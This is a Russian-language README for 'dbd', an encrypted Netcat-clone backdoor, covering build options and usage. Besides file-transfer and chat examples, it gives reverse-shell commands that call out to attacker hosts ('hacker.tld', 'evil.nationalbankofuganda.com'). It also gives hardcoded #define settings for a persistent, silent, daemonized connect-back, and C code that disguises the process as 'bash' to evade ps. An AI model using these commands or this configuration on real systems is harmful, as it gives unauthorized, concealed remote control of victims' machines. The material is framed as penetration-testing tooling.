
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Задняя дверь Дурандаля #Copyright (C) 2013 Кайл Барнхаус [email protected] #dbd распространяется под лицензией GNU GPL #Mipsbe бинарник добавлен Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###КРАТКОЕ ОПИСАНИЕ
dbd — это клон Netcat, предназначенный для обеспечения портативности и надёжного шифрования. Он работает в Unix-подобных операционных системах и в Microsoft Win32. dbd включает шифрование AES-CBC-128 + HMAC-SHA1 (разработка Кристофа Девина), возможность выполнения программ (опция -e), выбор исходного порта, непрерывное переподключение с задержкой и некоторые другие полезные функции. dbd поддерживает только TCP/IP-связь. Исходный код и бинарные файлы распространяются под лицензией GNU General Public License.
###КОМПИЛЯЦИЯ
$ make
использование:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - нативное консольное приложение win32 (с Cygwin + MinGW)
make win32bg - создание нативного приложения win32 без консоли (с Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - скрытое приложение без консоли
make mingw - нативное консольное приложение win32 (с MinGW MSYS)
make mingwbg - нативное приложение win32 без консоли (с MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - скрытое приложение без консоли (с MinGW MSYS)
make cygwin - консольное приложение Cygwin
make darwin - Darwin
опции кросс-компиляции:
make mingw-cross - кросс-компиляция win32 (i586-mingw32msvc-gcc)
make mingwbg-cross - кросс-компиляция win32 без консоли (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - скрытая кросс-компиляция win32
make unix CROSS_COMPILE=<path/to/toolchain-> - кросс-компиляция для любой архитектуры
упаковка в tarball (предварительно переместите скомпилированные файлы в binaries/):
make dist - создание tarball с исходными файлами, readme и binaries/
Для компиляции dbd в Unix-подобной операционной системе необходимы gcc и соответствующие инструменты разработки. Для Linux, FreeBSD, NetBSD, OpenBSD (и, возможно, других) введите:
$ make unix
Для SunOS/Solaris введите:
$ make sunos
Для компиляции dbd в Microsoft Windows (NT/2K/XP/2K3) необходимы MinGW+MSYS или Cygwin с полной поддержкой разработки (Cygwin's MinGW gcc). Чтобы скомпилировать нативное консольное приложение Win32 dbd в Cygwin, введите:
$ make win32
или в MSYS:
$ make mingw
Для компиляции приложения без консоли ("WinMain") в Cygwin введите:
$ make win32bg
или в MSYS:
$ make mingwbg
Для компиляции консольного приложения, специфичного для Cygwin, введите:
$make cygwin
Возможно, вы захотите изменить поведение dbd по умолчанию. Одна из самых важных вещей — изменить общий секретный ключ по умолчанию на свою собственную парольную фразу. Отредактируйте dbd.h и замените на свои настройки. Вы также можете, например, жёстко задать хост + порт для подключения, если dbd запускается без параметров. Полные примеры приведены в dbd.h.
###ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
Немного воображения — и dbd можно использовать для множества задач:
Используйте dbd для безопасной передачи файлов между двумя сетями:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
или из win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Используйте dbd как простой (но защищённый) чат:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Используйте dbd как бэкдор для пентеста:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
или в Unix-подобных ОС:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###ЖЁСТКО ЗАДАННЫЕ ОПЦИИ
В дополнение к параметрам командной строки, вы можете жёстко задать переменные с помощью #define в dbd.h. Для этого установите нужные переменные как именованные константы и скомпилируйте обычным образом. Например, если вы хотите создать исполняемый файл dbd, который подключается обратно к "evil.nationalbankofuganda.com" на порт 995 и выполняет "/bin/bash", вы можете запустить:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
или, используя жёстко заданные #define, отредактируйте dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Вы также можете настроить параметры перезапуска и скрытности, чтобы поддерживать соединение:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Это настроит соединение на демонизацию ("растворение" в терминах вредоносного ПО), никогда не выводить данные в STDOUT и пытаться переподключаться каждые 15 минут в случае разрыва соединения с прослушивателем.
###РОМУЛАНСКАЯ ТЕХНОЛОГИЯ МАСКИРОВКИ
Теперь перейдём к самому интересному. Когда вы станете мастером жёсткого задания опций в вашем бэкдоре, вы сможете использовать, пожалуй, самую забавную именованную константу в нашем распоряжении: CLOAK. Для этого просто задайте значение:
#define CLOAK 1
ПРИМЕЧАНИЕ: на данный момент это работает только для сборок *nix. В планах — добавить миграцию/хуки процессов для Win32, чтобы и эти цели почувствовали ромуланскую любовь.
Для *nix-окружений эта опция очищает argv[0] и заменяет его строкой "bash\0". Она также очищает все остальные argv[] (было бы глупо, если бы ps возвращал "bash -e /bin/bash someremotehost.com 443", не так ли?) Надеюсь, само собой разумеется, что ВЫ НЕ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЭТУ ОПЦИЮ, ЕСЛИ НЕ ЗАДАЁТЕ ПЕРЕМЕННЫЕ ЖЁСТКО В DBD.H. Кроме того, если вы тестируете это на своей системе, будет забавно выбрать правильный PID для убийства. ;)
Не стесняйтесь использовать этот очиститель в чём угодно:
//берём именованную константу
int cloak = CLOAK;
//Включаем маскировку
if(cloak)
{
#ifdef WIN32
//заглушка
#else
//меняем argv[0] на bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###ПРЕДУПРЕЖДЕНИЕ
Не передавайте кэшированный ввод (файл с командами или что-то подобное) в прослушивающую сессию "dbd -e". "dbd -e" использует каналы для передачи данных между выполняемой программой и dbd. Каналы используются (вместо простого сквозного дублирования дескрипторов файлов) из-за шифрования между каналами и сокетом. Чтобы предотвратить блокировку всего процесса пишущим концом одного из каналов, я сделал его неблокирующим дескриптором. Существует вероятность, что при передаче слишком большого объёма данных за раз в программу -e, они будут усечены (оборваны), так как буфер канала (в ОС) не сможет вместить все данные. Эту проблему можно решить, например, сделав dbd многопоточным, но я буду избегать этого как можно дольше по соображениям совместимости.
##КРОСС-КОМПИЛЯЦИЯ
Поскольку dbd был спроектирован для взаимодействия с другими инструментами/фреймворками, теперь make позволяет кросс-компилировать win32 в системах Linux с установленным набором инструментов mingw32-gcc. Эти опции почти идентичны своим аналогам для Windows с добавлением "-cross" после выбранной сборки. Пример:
$ make mingw-cross
сделает то же самое в системе Linux, что и
$ make mingw
сделал бы в системе win32 с установленными mingw/msys.
На данный момент все опции кросс-компиляции созданы с учётом Kali Linux, но должны работать на любом *nix с небольшой доработкой. Если у вас установлен mingw32-gcc, а make не собирается, отредактируйте переменную WCC в начале Makefile и укажите путь к вашему бинарнику mingw32-gcc.